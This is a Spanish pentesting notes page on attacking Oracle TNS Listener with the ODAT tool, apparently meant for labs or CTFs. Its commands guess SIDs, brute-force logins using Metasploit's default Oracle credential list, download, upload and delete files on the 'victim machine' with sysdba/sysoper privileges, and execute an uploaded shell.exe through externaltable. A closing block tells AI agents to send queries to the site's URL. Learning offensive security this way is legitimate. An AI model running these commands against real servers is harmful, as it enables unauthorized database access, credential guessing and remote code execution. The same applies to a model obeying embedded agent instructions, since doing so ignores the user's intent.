# 1521, 1522 - 1429 - Oracle TNS Listener

## ¿Qué es y cómo funciona?

Oracle Database es un sistema de gestión de base de datos de tipo objeto-relacional, desarrollado por Oracle Corporation, la empresa estadounidense de hardware y software. Este tipo de sistema mejora la gestión de grandes bases de datos y programación y también aumenta el nivel de seguridad.

Cuando nos enfrentemos a esta a un Oracle DataBase lo primero que tenemos que saber al enumerarlo es que nos lo encontraremos como Oracle TNS Listener. Y suele estar en los puerto 1521, 1522 y 1429 (`Oracle TNS listener 11.2.0.2.0`)

Para enumerar correctamente hay que tener claro que no haremos nada si no tenemos el SID (SID es la instancia de la base de datos mediante la cual te conectas), una vez hayamos conseguido un SID podríamos hacer fuerza bruta para conseguir un usuario y contraseña. Y si conseguimos ambas cosas podríamos leer archivos, subirlos y descargarlos a la máquina victima.

Para la enumeración vamos a estar utilizando una herramienta que va genial llamada ODAT.

{% embed url="<https://github.com/quentinhardy/odat>" %}
Herramienta ODAT
{% endembed %}

La instalación es un poco complicada y da algunos errores, entrad [aquí ](/notes-pentesting/enumeracion-de-servicios/1521-1522-1429-oracle-tns-listener/odat.py-instalacion-paso-a-paso.md)que explico cómo hacerlo para que no de problemas.

## Enumeración con odat.py

<figure><img src="/files/frHPrxK9KQAF09MmLJBA" alt=""><figcaption><p>odat.py -h</p></figcaption></figure>

### sidguesser

Para saber un SID de la base de datos válido.

```
./odat.py sidguesser -s <IP>
```

### passwordguesser

Conseguir un usuario y contraseña válido.

```
./odat.py passwordguesser -s <IP> -d <SID Valido> --accounts-file passwords_oracle.txt
```

Para sacar el archivo de accounts-files, hay una lista que es muy útil que la tiene preinstalada metasploit que la podemos encontrar en la ruta --> `cat /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt`

<figure><img src="/files/RSBpGrKnU3HdwMvWvpqt" alt=""><figcaption><p>Archivo sin retocar y sin modificar</p></figcaption></figure>

Cuando la leamos habrá palabras repetidas y encima habrá palabras entre si separadas por espacios, para poder sacar la info y sacarla linea por linea sin los espacios utilizaremos `tr` para cambiar que los espacios sean "/".

```
 cat /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt | tr " " "/" > passwords_oracle.txt
```

Ahora quedaría tal que así y podemos ejecutar el passwordguesser.

```
./odat.py passwordguesser -s <IP> -d <SID Válido> --accounts-file passwords_oracle.txt
```

### utlfile

Para descargar/subir/borrar archivos.

```
./.odat.py utlfile -s <IP> -d <SID Válido>> -U 'user' -P 'pass' --getFile c:/path/to/file file file
```

Cuando queremos descargar o subir nos va a dar error de permisos, para que eso no falle tenemos que utilizar los parámetros:

* `--sysdba`
* `--sysoper`

Hay que probar con ambas opciones ya que a veces funciona, así que si no funciona con sysdba probar con sysoper.

### externaltable

En el caso de que hayamos subido un archivo, si queremos ejecutarlo tendremos que utilizar el parámetro --exec

```
./odat.py externaltable -s <IP> -d <SID Válido> -U 'user' -P 'pass' --exec /where/is/your shell.exe --sysdba
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/enumeracion-de-servicios/1521-1522-1429-oracle-tns-listener.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
